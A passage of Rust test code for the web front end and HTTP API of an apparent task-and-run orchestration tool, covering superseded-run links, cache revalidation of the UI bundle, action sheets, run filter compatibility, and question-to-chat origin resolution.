25415        );
25416        t.runs = vec![first.to_owned(), second.to_owned()];
25417        q.put(&mut t).expect("put");
25418
25419        let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
25420        assert_eq!(earlier["superseded_by"], "dddd");
25421        assert_eq!(earlier["latest_attempt"]["id"], second);
25422        assert_eq!(earlier["latest_attempt"]["short"], "dddd");
25423        assert_eq!(
25424            earlier["latest_attempt"]["resolved"], true,
25425            "the run that replaced it landed, so this one reads as settled"
25426        );
25427
25428        let later = fx.get(&format!("/api/runs/{second}")).await.json();
25429        assert!(
25430            later["superseded_by"].is_null(),
25431            "the latest attempt is not superseded by anything"
25432        );
25433        assert!(
25434            later["latest_attempt"].is_null(),
25435            "the latest attempt has no later attempt of its own"
25436        );
25437
25438        // Front end: the detail page has to read the field this route now
25439        // carries, downgrade the chip, and link to the run that replaced it —
25440        // not just repeat the list card's own logic under a different name.
25441        // The link is built off `latest_attempt.id`, the server-resolved
25442        // full id, never a bare short string a client would have to guess a
25443        // full run from.
25444        assert!(APP_JS.contains("run.latest_attempt"));
25445        assert!(APP_JS.contains("data-superseded"));
25446        assert!(APP_JS.contains("#/runs/${latest.id}"));
25447    }
25448
25449    #[tokio::test]
25450    async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
25451        // A -> B -> C, all Blocked except the last. A's immediate successor
25452        // (superseded_by) is B, which is itself unresolved; what an operator
25453        // opening A's page actually needs is where the task's story stands
25454        // *now* - C, not B - without depending on whether C happens to be in
25455        // whatever page of /api/runs the client last cached.
25456        let fx = Fixture::start().await;
25457        let q = fx.queue();
25458        let runs = fx.runs();
25459        let (a, b, c) = (
25460            "20260901-000000-aaaa",
25461            "20260901-000000-bbbb",
25462            "20260901-000000-cccc",
25463        );
25464        write_run(&runs, a, RunStatus::Blocked);
25465        write_run(&runs, b, RunStatus::Blocked);
25466        write_run(&runs, c, RunStatus::Merged);
25467
25468        let mut t = Task::new(
25469            "retried twice".to_owned(),
25470            "do it".to_owned(),
25471            PathBuf::from("/repo"),
25472            Source::Human,
25473        );
25474        t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
25475        q.put(&mut t).expect("put");
25476
25477        let view = fx.get(&format!("/api/runs/{a}")).await.json();
25478        assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
25479        assert_eq!(
25480            view["latest_attempt"]["id"], c,
25481            "the chain's current head, not the intermediate Blocked retry"
25482        );
25483        assert_eq!(view["latest_attempt"]["resolved"], true);
25484
25485        let mid = fx.get(&format!("/api/runs/{b}")).await.json();
25486        assert_eq!(mid["latest_attempt"]["id"], c);
25487        assert_eq!(mid["latest_attempt"]["resolved"], true);
25488    }
25489
25490    #[tokio::test]
25491    async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
25492        let fx = Fixture::start().await;
25493        let q = fx.queue();
25494        let runs = fx.runs();
25495
25496        // Still Blocked: the task is not resolved, so the older run must not
25497        // read as settled either.
25498        let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
25499        write_run(&runs, still_blocked_a, RunStatus::Blocked);
25500        write_run(&runs, still_blocked_b, RunStatus::Blocked);
25501        let mut t1 = Task::new(
25502            "still stuck".to_owned(),
25503            "do it".to_owned(),
25504            PathBuf::from("/repo"),
25505            Source::Human,
25506        );
25507        t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
25508        q.put(&mut t1).expect("put");
25509        let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
25510        assert_eq!(view1["latest_attempt"]["resolved"], false);
25511        assert_eq!(view1["latest_attempt"]["status"], "blocked");
25512        assert_eq!(view1["latest_attempt"]["done"], true);
25513
25514        // Still running: the successor exists and must be reported as such.
25515        let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
25516        write_run(&runs, run_a, RunStatus::Blocked);
25517        write_run(&runs, run_b, RunStatus::Implementing);
25518        let mut t3 = Task::new(
25519            "retrying".to_owned(),
25520            "do it".to_owned(),
25521            PathBuf::from("/repo"),
25522            Source::Human,
25523        );
25524        t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
25525        q.put(&mut t3).expect("put");
25526        let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
25527        assert_eq!(view3["latest_attempt"]["id"], run_b);
25528        assert_eq!(view3["latest_attempt"]["resolved"], false);
25529        assert_eq!(view3["latest_attempt"]["done"], false);
25530
25531        // VerifiedNoop: a candidate's own unconfirmed claim, held for a human
25532        // to check - not a confirmed finish, so this must not read as
25533        // resolved either, even though the run is done in the sense that
25534        // nothing is still running.
25535        let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
25536        write_run(&runs, noop_a, RunStatus::Blocked);
25537        write_run(&runs, noop_b, RunStatus::VerifiedNoop);
25538        let mut t2 = Task::new(
25539            "claims done".to_owned(),
25540            "do it".to_owned(),
25541            PathBuf::from("/repo"),
25542            Source::Human,
25543        );
25544        t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
25545        q.put(&mut t2).expect("put");
25546        let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
25547        assert_eq!(
25548            view2["latest_attempt"]["resolved"], false,
25549            "an unverified no-op claim must not read as a confirmed finish"
25550        );
25551
25552        // Front end: an unresolved successor must not carry the "finished
25553        // this work" note or the muted chip treatment.
25554        assert!(APP_JS.contains("latest.resolved"));
25555        // ...but the link to it shows as soon as it exists, labelled by state
25556        // and without the "finished" wording or the muted chip.
25557        assert!(APP_JS.contains("successorNote(latest, inFlight)"));
25558        assert!(APP_JS.contains("Latest attempt: "));
25559        assert!(APP_JS.contains("in flight"));
25560        assert!(APP_JS.contains("not resolved"));
25561    }
25562
25563    #[tokio::test]
25564    async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
25565        let fx = Fixture::start().await;
25566        // No cache header at all meant browsers invented their own policy,
25567        // and one did: a phone went on showing "Candidates must be folded
25568        // before deleting. Run `magi fold` first." - deleted two releases
25569        // earlier - from a deck that no longer contained the sentence. The
25570        // button it named was right there, and unreachable.
25571        let js = fx.get("/app.js").await;
25572        assert_eq!(js.status, 200);
25573        let tag = js
25574            .header("etag")
25575            .expect("an etag to revalidate against")
25576            .to_owned();
25577        assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
25578        assert_eq!(
25579            js.header("cache-control"),
25580            Some("no-cache, must-revalidate"),
25581            "the phone has to ask every time"
25582        );
25583
25584        // And the asking has to be cheap, or `must-revalidate` just means
25585        // "send the whole interface on every load".
25586        let again = fx
25587            .get_with("/app.js", &[("if-none-match", tag.as_str())])
25588            .await;
25589        assert_eq!(
25590            again.status, 304,
25591            "a deck it already has costs one round trip"
25592        );
25593        assert!(again.body.is_empty(), "304 carries no body");
25594
25595        // A weakened tag from a proxy still matches; a different build does
25596        // not, which is the case that has to deliver the new interface.
25597        let weak = fx
25598            .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
25599            .await;
25600        assert_eq!(weak.status, 304);
25601        let stale = fx
25602            .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
25603            .await;
25604        assert_eq!(stale.status, 200, "an older build must be replaced");
25605        assert!(stale.body.contains("renderRunActions"));
25606    }
25607
25608    #[test]
25609    fn the_task_detail_has_an_actions_fab_and_sheet() {
25610        assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
25611        assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
25612        assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
25613        // Shown only on the task route, closed everywhere else.
25614        assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
25615        assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
25616        // Refreshed whenever the detail redraws, including the loading state.
25617        assert!(APP_JS.contains("renderTaskActions(task.coreOnly || error ? null : task);"));
25618        assert!(APP_JS.contains("renderTaskActions(null);"));
25619        // Same action renderers as the Queue card. Bound this check by the
25620        // next function, since additional task controls can grow the sheet.
25621        let (_, sheet) = APP_JS
25622            .split_once("function renderTaskActions(task) {")
25623            .expect("sheet renderer");
25624        let (body, _) = sheet
25625            .split_once("\nfunction openTaskActions() {")
25626            .expect("end of sheet renderer");
25627        assert!(body.contains("changePriority("));
25628        assert!(body.contains("openTaskEdit(task)"));
25629        assert!(body.contains("renderTaskHoldBox(host"));
25630        assert!(body.contains("renderTaskDoneBox(host"));
25631        assert!(body.contains("renderTaskDeleteBox(host"));
25632        assert!(APP_JS.contains("API.priority(id)"));
25633        assert!(APP_JS.contains("API.deleteTask(id)"));
25634        // A deleted task sends the operator back to the queue.
25635        assert!(APP_JS.contains("location.hash = \"#/queue\""));
25636        // A refusal is shown inside the sheet.
25637        assert!(APP_JS.contains("$(\"task-actions-error\")"));
25638    }
25639
25640    #[test]
25641    fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
25642        let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
25643        let actions = INDEX_HTML
25644            .find("id=\"run-actions-box\"")
25645            .expect("actions box");
25646        assert!(task < actions, "the task entry comes first in the sheet");
25647        assert!(APP_JS.contains("renderRunTaskEntry"));
25648        assert!(APP_JS.contains("\"Open task \""));
25649        // A run without a task says why there is nothing to open.
25650        assert!(APP_JS.contains("started directly, no task"));
25651        assert!(APP_JS.contains("sheet-task-link"));
25652        assert!(APP_JS.contains("task-chip-link"));
25653    }
25654
25655    #[test]
25656    fn the_deck_never_sends_the_operator_to_a_terminal() {
25657        // The whole point of the phone UI is that a terminal is not needed.
25658        // The delete control used to answer with "Run `magi fold` first."
25659        assert!(
25660            !APP_JS.contains("Run `magi fold` first"),
25661            "the deck must offer the fold, not prescribe a shell command"
25662        );
25663        assert!(APP_JS.contains("foldRun:"));
25664        assert!(APP_JS.contains("resumeRun:"));
25665        assert!(APP_JS.contains("renderRunActions"));
25666
25667        // Folding is destructive and armed in two steps, like deleting.
25668        assert!(APP_JS.contains("armedFold"));
25669        assert!(APP_JS.contains("Yes, fold worktrees"));
25670
25671        // And the copy has to say that the two actions are opposites, because
25672        // folding throws away exactly what a resume would continue from.
25673        assert!(APP_JS.contains("can no longer be resumed"));
25674    }
25675
25676    #[test]
25677    fn a_finished_run_explains_itself_with_its_own_last_line() {
25678        // The deck used to answer "why did this stop?" with a sentence chosen
25679        // by status alone. Run e633 stalled because two judges answered with
25680        // the wrong JSON shape and its card said "The panel collapsed on
25681        // agent quota" - with `quota: []` in the record and a quota-loss
25682        // counter right above it that correctly said nothing.
25683        assert!(
25684            !APP_JS.contains("collapsed on agent quota"),
25685            "a stall must not be explained by a cause the deck did not check"
25686        );
25687        assert!(
25688            !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
25689            "and a block must not offer a guess with an `or` in it"
25690        );
25691
25692        // The reason it does have is `run.event`, which must reach finished
25693        // runs: gating it on movement hid the recorded truth at the one moment
25694        // the operator is reading the card to find out what happened.
25695        assert!(
25696            APP_JS.contains("setText(r.event, run.event || \"\")"),
25697            "the run's last line is rendered unconditionally"
25698        );
25699        assert!(
25700            !APP_JS.contains("moving && run.event"),
25701            "and never gated on the run still moving"
25702        );
25703
25704        // Quota keeps its own counter, fed by the number actually recorded.
25705        assert!(APP_JS.contains("lost to quota"));
25706    }
25707
25708    /// The runs tree (section) and the state chips (waiting/done) are two
25709    /// independent lenses ANDed together in `renderRuns`, and some pairings
25710    /// can never both be true for any run - every "Landed"/"Ended" run is
25711    /// done by construction, so pairing either with "Active" or "In flight"
25712    /// always rendered zero cards with the filter bar still claiming
25713    /// `Showing Ended`. `sectionCompatibleWithStateFilter` exists to catch
25714    /// that before it happens, checked against `REPRESENTATIVE_RUN_SHAPES` -
25715    /// a handful of (waiting, status) shapes standing in for the run
25716    /// lifecycle, because `cargo test` cannot execute the front end.
25717    ///
25718    /// That stand-in list is itself the part that drifted twice in review:
25719    /// once shipped with `waiting: true` paired with a done status the
25720    /// lifecycle cannot produce, then over-corrected into treating every
25721    /// waiting run as never done - which made "Waiting on you" look
25722    /// incompatible with "Done" even for the one real, reachable shape
25723    /// (Stalled/Blocked, both terminal yet still resumable) that is exactly
25724    /// that combination. This test parses the shapes and the done-rule back
25725    /// out of `APP_JS`, reimplements `runSection` and the five state
25726    /// predicates independently in Rust, and checks the resulting
25727    /// section/filter compatibility table against the lifecycle rules by
25728    /// hand - so either direction of drift fails it again.
25729    #[test]
25730    fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
25731        let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
25732        let shapes_body_start =
25733            APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
25734        let shapes_close = APP_JS[shapes_body_start..]
25735            .find("].map(")
25736            .expect("the shape list is closed by its done-computing .map(...)")
25737            + shapes_body_start;
25738        let shapes_src = &APP_JS[shapes_body_start..shapes_close];
25739
25740        let mut shapes: Vec<(bool, String, bool, bool)> = Vec::new();
25741        for entry in shapes_src.split('{').skip(1) {
25742            let waiting = entry.contains("waiting: true");
25743            let dead = entry.contains("live: \"dead\"");
25744            let status_at =
25745                entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
25746            let status_end = entry[status_at..]
25747                .find('"')
25748                .expect("the status string is closed")
25749                + status_at;
25750            let parked = entry.contains("display_status: \"parked\"");
25751            shapes.push((
25752                waiting,
25753                entry[status_at..status_end].to_string(),
25754                dead,
25755                parked,
25756            ));
25757        }
25758        assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
25759
25760        // The done rule itself (`!["implementing"].includes(shape.status)`),
25761        // read out of the source rather than hardcoded, so a renamed
25762        // in-flight status can't silently make every parsed shape "done".
25763        let done_rule_marker = "done: !";
25764        let done_rule_at = APP_JS[shapes_close..]
25765            .find(done_rule_marker)
25766            .expect("the done rule follows the shape list")
25767            + shapes_close
25768            + done_rule_marker.len();
25769        let includes_at = APP_JS[done_rule_at..]
25770            .find(".includes(shape.status)")
25771            .expect("the done rule ends in .includes(shape.status)")
25772            + done_rule_at;
25773        let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
25774            .trim()
25775            .trim_start_matches('[')
25776            .trim_end_matches(']')
25777            .split(',')
25778            .map(|s| s.trim().trim_matches('"'))
25779            .filter(|s| !s.is_empty())
25780            .collect();
25781
25782        let shapes: Vec<(bool, String, bool, bool, bool)> = shapes
25783            .into_iter()
25784            .map(|(waiting, status, dead, parked)| {
25785                let done = !not_done.contains(&status.as_str());
25786                (waiting, status, dead, parked, done)
25787            })
25788            .collect();
25789
25790        // `runSection` reimplemented from assets/ui/app.js: `waiting` wins
25791        // outright, then merged/ready land, stalled/blocked/failed/
25792        // verified_noop end, and everything else is still in flight.
25793        fn run_section(waiting: bool, status: &str, dead: bool, parked: bool) -> &'static str {
25794            if waiting {
25795                return "waiting";
25796            }
25797            if dead
25798                && !parked
25799                && !matches!(
25800                    status,
25801                    "merged"
25802                        | "ready"
25803                        | "stalled"
25804                        | "blocked"
25805                        | "failed"
25806                        | "verified_noop"
25807                        | "superseded"
25808                        | "already_in_base"
25809                )
25810            {
25811                return "stale";
25812            }
25813            match status {
25814                "merged" | "ready" => "landed",
25815                "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
25816                | "already_in_base" => "ended",
25817                _ => "flight",
25818            }
25819        }
25820
25821        // RUN_STATE_FILTERS' six `match` functions, reimplemented the same
25822        // way.
25823        fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
25824            match filter_key {
25825                "active" => !done,
25826                "flight" => !done && !waiting && !dead,
25827                "stale" => !done && !waiting && dead,
25828                "waiting" => waiting,
25829                "done" => done,
25830                "all" => true,
25831                other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
25832            }
25833        }
25834
25835        let compatible = |section: &str, filter_key: &str| {
25836            shapes.iter().any(|(waiting, status, dead, parked, done)| {
25837                run_section(*waiting, status, *dead, *parked) == section
25838                    && filter_matches(filter_key, *waiting, *dead && !*parked, *done)
25839            })
25840        };
25841
25842        // One row per RUN_SECTIONS key, in RUN_STATE_FILTERS' own order
25843        // (active, flight, stale, waiting, done, all) - hand-derived from the
25844        // lifecycle, independently of whatever REPRESENTATIVE_RUN_SHAPES
25845        // currently contains.
25846        let expected = [
25847            ("waiting", [true, false, false, true, true, true]),
25848            ("stale", [true, false, true, false, false, true]),
25849            ("flight", [true, true, false, false, false, true]),
25850            ("landed", [false, false, false, false, true, true]),
25851            ("ended", [false, false, false, false, true, true]),
25852        ];
25853        let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
25854
25855        for (section, wants) in expected {
25856            for (filter_key, want) in filter_keys.iter().zip(wants) {
25857                assert_eq!(
25858                    compatible(section, filter_key),
25859                    want,
25860                    "section {section:?} x filter {filter_key:?} should be compatible: {want}"
25861                );
25862            }
25863        }
25864
25865        // The compatibility check exists only to be acted on: both pickers
25866        // must actually consult it rather than just render its answer.
25867        assert!(
25868            APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
25869        );
25870        assert!(APP_JS.contains(
25871            "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
25872        ));
25873        assert!(APP_JS.contains(
25874            "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
25875        ));
25876    }
25877
25878    #[tokio::test]
25879    async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
25880        // An operator-named directory - git checkout or not - is never
25881        // second-guessed, even when it does not exist at all: only the
25882        // flag's own unmodified `.` default is ever eligible for discovery.
25883        let dir = tempfile::tempdir().expect("tempdir");
25884        let explicit = dir.path().join("not-a-checkout");
25885        std::fs::create_dir_all(&explicit).expect("create dir");
25886        assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
25887
25888        let missing = dir.path().join("does-not-exist-at-all");
25889        assert_eq!(normalize_default_repo(missing.clone()).await, missing);
25890    }
25891
25892    #[test]
25893    fn stats_verdict_donut_has_fixed_colours_and_a_minimum_arc() {
25894        assert!(APP_JS.contains("function statsDonutArcs"));
25895        assert!(APP_JS.contains("STATS_DONUT_MIN_DEG"));
25896        // A bucket click filters by the statuses src/stats.rs counts in it.
25897        assert!(APP_JS.contains("function statusInBucket"));
25898        assert!(APP_JS.contains("statuses: [\"superseded\", \"already_in_base\"]"));
25899        assert!(INDEX_HTML.contains("id=\"stats-verdict-donut\""));
25900        let buckets = [
25901            "merged",
25902            "ready",
25903            "in_progress",
25904            "blocked",
25905            "failed",
25906            "verified_noop",
25907            "superseded",
25908            "stalled",
25909        ];
25910        for key in buckets {
25911            let var = format!("--verdict-{key}:");
25912            // Light, OS-dark and pinned-dark blocks each define it.
25913            assert_eq!(APP_CSS.matches(&var).count(), 3, "{var}");
25914            assert!(
25915                APP_CSS.contains(&format!("[data-verdict=\"{key}\"]")),
25916                "{key}"
25917            );
25918        }
25919    }
25920
25921    #[tokio::test]
25922    async fn resolve_talk_and_task_avoid_deserializing_corrupt_or_unrelated_json() {
25923        let dir = tempfile::tempdir().expect("tempdir");
25924        let queue = Queue::at(dir.path().join("queue"));
25925        let talks = Talks::at(dir.path().join("talks"));
25926        std::fs::create_dir_all(queue.root()).unwrap();
25927        std::fs::create_dir_all(talks.root()).unwrap();
25928
25929        // Put a corrupt json file in both stores
25930        std::fs::write(queue.root().join("corrupt-task.json"), "invalid json").unwrap();
25931        std::fs::write(talks.root().join("corrupt-talk.json"), "invalid json").unwrap();
25932
25933        // Valid task and talk
25934        let mut task = Task::new(
25935            "title".into(),
25936            "inst".into(),
25937            PathBuf::from("/repo"),
25938            Source::Human,
25939        );
25940        task.id = "20261019-123456-abcd".into();
25941        // Write manually so it's a valid file
25942        std::fs::write(
25943            queue.path_of(&task.id),
25944            serde_json::to_string(&task).unwrap(),
25945        )
25946        .unwrap();
25947
25948        let talk_id = "20261019-234567-cdef";
25949        seed_talk_at(&talks, talk_id, "open");
25950
25951        // Exact match should succeed without failing on the corrupt json file
25952        assert_eq!(resolve_task(&queue, &task.id).unwrap(), task.id);
25953        assert_eq!(resolve_talk(&talks, talk_id).unwrap(), talk_id);
25954
25955        // Prefix match should also succeed by scanning file names without deserializing corrupt file
25956        assert_eq!(resolve_task(&queue, "abcd").unwrap(), task.id);
25957        assert_eq!(resolve_talk(&talks, "cdef").unwrap(), talk_id);
25958    }
25959
25960    #[tokio::test]
25961    async fn question_core_and_empty_origins_do_not_touch_unavailable_histories() {
25962        let home = tempfile::tempdir().unwrap();
25963        let ui = delta_test_ui(home.path());
25964        // A full history traversal would fail even with no questions.
25965        std::fs::write(ui.queue.root(), "not a directory").unwrap();
25966        std::fs::write(ui.talks.root(), "not a directory").unwrap();
25967        assert!(
25968            questions_list(State(ui.clone()))
25969                .await
25970                .unwrap()
25971                .0
25972                .is_empty()
25973        );
25974        assert!(
25975            question_origins(State(ui.clone()))
25976                .await
25977                .unwrap()
25978                .0
25979                .is_empty()
25980        );
25981        let mut question = Question::new(
25982            "run-history".into(),
25983            "review".into(),
25984            "seat".into(),
25985            "Useful question".into(),
25986            "Useful detail".into(),
25987            vec![],
25988        );
25989        ui.questions.put(&mut question).unwrap();
25990        let core = questions_core(State(ui.clone())).await.unwrap().0;
25991        assert_eq!(core.len(), 1);
25992        assert_eq!(core[0].question.summary, "Useful question");
25993        assert!(!core[0].can_consult_chat);
25994        assert!(core[0].origin_chat.is_none());
25995        assert_eq!(core[0].record_revision, question_record_revision(&question));
25996        assert!(question_origins(State(ui.clone())).await.is_err());
25997        assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, 0);
25998    }
25999
26000    #[tokio::test]
26001    async fn question_origins_resolve_typed_links_without_expanding_consultation() {
26002        let home = tempfile::tempdir().unwrap();
26003        let ui = delta_test_ui(home.path());
26004        let chat = seed_talk_at(&ui.talks, "origin-chat", "closed");
26005        let mut parent = Task::new(
26006            "parent".into(),
26007            "body".into(),
26008            PathBuf::from("/repo"),
26009            Source::Agent {
26010                run: chat.clone(),
26011                node: crate::queue::CHAT_NODE.into(),
26012            },
26013        );
26014        parent.id = "parent-task".into();
26015        parent.runs = vec!["parent-run".into()];
26016        ui.queue.put(&mut parent).unwrap();
26017        let mut previous = parent;
26018        for generation in 1..=2 {
26019            let mut child = Task::new(
26020                "child".into(),
26021                "body".into(),
26022                PathBuf::from("/repo"),
26023                Source::Human,
26024            );
26025            child.id = format!("child-task-{generation}");
26026            child.runs = vec![format!("child-run-{generation}")];
26027            child.followup = Some(crate::queue::FollowUp {
26028                origin_task: Some(previous.id.clone()),
26029                run: previous.runs[0].clone(),
26030                pr: String::new(),
26031                findings: vec![],
26032                generation,
26033            });
26034            ui.queue.put(&mut child).unwrap();
26035            previous = child;
26036        }
26037        // A run may have the same spelling as another task's id; its owner
26038        // must not override a typed task reference.
26039        let mut collision = Task::new(
26040            "collision".into(),
26041            String::new(),
26042            PathBuf::from("/repo"),
26043            Source::Human,
26044        );
26045        collision.id = "collision-task".into();
26046        collision.runs = vec![previous.id.clone()];
26047        ui.queue.put(&mut collision).unwrap();
26048        let mut questions = Vec::new();
26049        for (node, reference, expected, eligible) in [
26050            (crate::triage::NODE, previous.id.as_str(), true, false),
26051            (crate::triage::DEPS_NODE, previous.id.as_str(), true, false),
26052            ("review", previous.runs[0].as_str(), true, true),
26053            (
26054                crate::bump::NOTICE_NODE,
26055                previous.runs[0].as_str(),
26056                true,
26057                false,
26058            ),
26059            // Identical text in the wrong reference namespace is not evidence.
26060            ("review", previous.id.as_str(), false, false),
26061            (crate::triage::NODE, previous.runs[0].as_str(), false, true),
26062            ("review", "unrelated", false, false),
26063        ] {
26064            let mut q = Question::new(
26065                reference.into(),
26066                node.into(),
26067                "seat".into(),
26068                "Question".into(),
26069                String::new(),
26070                vec![],
26071            );
26072            ui.questions.put(&mut q).unwrap();
26073            questions.push((q, expected, eligible));
26074        }
26075        for (node, reference, associated, eligible) in [
26076            (crate::reconcile::NODE, previous.id.as_str(), true, false),
26077            (
26078                crate::reconcile::NODE,
26079                previous.runs[0].as_str(),
26080                false,
26081                true,
26082            ),
26083            ("implement", previous.id.as_str(), false, false),
26084        ] {
26085            let mut q = Question::new(
26086                reference.into(),
26087                node.into(),
26088                crate::reconcile::SEAT.into(),
26089                "Reconcile".into(),
26090                String::new(),
26091                vec![],
26092            );
26093            ui.questions.put(&mut q).unwrap();
26094            questions.push((q, associated, eligible));
26095        }
26096        let mut release = Question::new(
26097            "release-record".into(),
26098            crate::bump::NOTICE_NODE.into(),
26099            "release-watch".into(),
26100            "Release".into(),
26101            String::new(),
26102            vec![],
26103        );
26104        ui.questions.put(&mut release).unwrap();
26105        let watch = crate::release_watch::WatchState {
26106            question: Some(release.id.clone()),
26107            run: Some(previous.runs[0].clone()),
26108            held_task: Some(previous.id.clone()),
26109            ..Default::default()
26110        };
26111        let watch_dir = home.path().join("release-watch");
26112        std::fs::create_dir_all(&watch_dir).unwrap();
26113        let watch_path = watch_dir.join("watch.json");
26114        std::fs::write(&watch_path, serde_json::to_vec(&watch).unwrap()).unwrap();
26115        // Ordinary questions and bump notices do not need watch-store I/O.
26116        for batch in [
26117            Vec::new(),
26118            questions.iter().map(|(q, _, _)| q.clone()).collect(),
26119        ] {
26120            let (_, _, watches) = question_origin_inputs(&ui, &batch).unwrap();
26121            assert!(watches.is_empty());
26122        }
26123        questions.push((release.clone(), true, false));
26124
26125        let views = questions_list(State(ui.clone())).await.unwrap().0;
26126        let origins = question_origins(State(ui.clone())).await.unwrap().0;
26127        for (q, associated, eligible) in &questions {
26128            let view = views.iter().find(|view| view.question.id == q.id).unwrap();
26129            let origin = origins.iter().find(|view| view.id == q.id).unwrap();
26130            let expected = associated.then_some(chat.as_str());
26131            assert_eq!(
26132                view.origin_chat.as_deref(),
26133                expected,
26134                "{} {}",
26135                q.node,
26136                q.run
26137            );
26138            assert_eq!(origin.origin_chat.as_deref(), expected);
26139            assert_eq!(view.origin_chat_closed, *associated);
26140            assert_eq!(origin.origin_chat_closed, *associated);
26141            assert_eq!(view.can_consult_chat, *eligible, "{} {}", q.node, q.run);
26142            assert_eq!(origin.can_consult_chat, *eligible);
26143        }
26144        // Either saved link independently recovers a release question's owner.
26145        for (run, held_task) in [(watch.run.clone(), None), (None, watch.held_task.clone())] {
26146            let link = crate::release_watch::WatchState {
26147                run,
26148                held_task,
26149                ..watch.clone()
26150            };
26151            std::fs::write(&watch_path, serde_json::to_vec(&link).unwrap()).unwrap();
26152            let (tasks, talks, watches) =
26153                question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
26154            assert_eq!(
26155                crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
26156                    .unwrap()
26157                    .id,
26158                chat,
26159            );
26160            assert!(crate::consult::origin_talk(&tasks, &talks, &release).is_none());
26161        }
26162        std::fs::write(&watch_path, serde_json::to_vec(&watch).unwrap()).unwrap();
26163        // Even identical duplicate records are ambiguous: ignore their links.
26164        let duplicate_path = watch_dir.join("duplicate.json");
26165        std::fs::write(&duplicate_path, serde_json::to_vec(&watch).unwrap()).unwrap();
26166        let (tasks, talks, watches) =
26167            question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
26168        assert!(
26169            crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
26170                .is_none()
26171        );
26172        std::fs::remove_file(duplicate_path).unwrap();
26173        // Another explicit owner is a conflict even if it has no chat.
26174        let mut unrelated = Task::new(
26175            "other".into(),
26176            String::new(),
26177            PathBuf::from("/repo"),
26178            Source::Human,
26179        );
26180        unrelated.id = "unrelated-task".into();
26181        ui.queue.put(&mut unrelated).unwrap();
26182        let mut conflicting = watch.clone();
26183        conflicting.held_task = Some(unrelated.id);
26184        std::fs::write(
26185            watch_dir.join("conflict.json"),
26186            serde_json::to_vec(&conflicting).unwrap(),
26187        )
26188        .unwrap();
26189        let (tasks, talks, watches) =
26190            question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
26191        assert!(
26192            crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
26193                .is_none()
26194        );
26195        std::fs::remove_file(watch_dir.join("conflict.json")).unwrap();
26196        std::fs::remove_file(ui.talks.path_of(&chat)).unwrap();
26197        for origin in question_origins(State(ui.clone())).await.unwrap().0 {
26198            assert!(origin.origin_chat.is_none());
26199            assert!(!origin.origin_chat_closed);
26200        }
26201    }
26202
26203    #[test]
26204    fn question_origin_lookup_matches_legacy_with_large_and_changing_histories() {
26205        let home = tempfile::tempdir().unwrap();
26206        let ui = delta_test_ui(home.path());
26207        let chat_id = seed_talk_at(&ui.talks, "chat-origin", "closed");
26208        for i in 0..1000 {
26209            let mut task = Task::new(
26210                "unrelated".into(),
26211                "instruction ".repeat(256),
26212                PathBuf::from("/repo"),
26213                Source::Human,
26214            );
26215            task.id = format!("history-{i:04}");
26216            ui.queue.put(&mut task).unwrap();
26217            let id = seed_talk_at(&ui.talks, &task.id, "open");
26218            let mut talk = ui.talks.get(&id).unwrap();
26219            talk.pending = "history ".repeat(256);
26220            ui.talks.put(&mut talk).unwrap();
26221        }
26222        let mut parent = Task::new(
26223            "parent".into(),
26224            "body".into(),
26225            PathBuf::from("/repo"),
26226            Source::Agent {
26227                run: chat_id.clone(),
26228                node: crate::queue::CHAT_NODE.into(),
26229            },
26230        );
26231        parent.id = "task-parent".into();
26232        parent.runs = vec!["run-parent".into()];
26233        ui.queue.put(&mut parent).unwrap();
26234        let mut child = Task::new(
26235            "child".into(),
26236            "body".into(),
26237            PathBuf::from("/repo"),
26238            Source::Human,
26239        );
26240        child.id = "task-child".into();
26241        child.runs = vec!["run-child".into()];
26242        child.followup = Some(crate::queue::FollowUp {
26243            run: "run-parent".into(),
26244            origin_task: Some(parent.id.clone()),
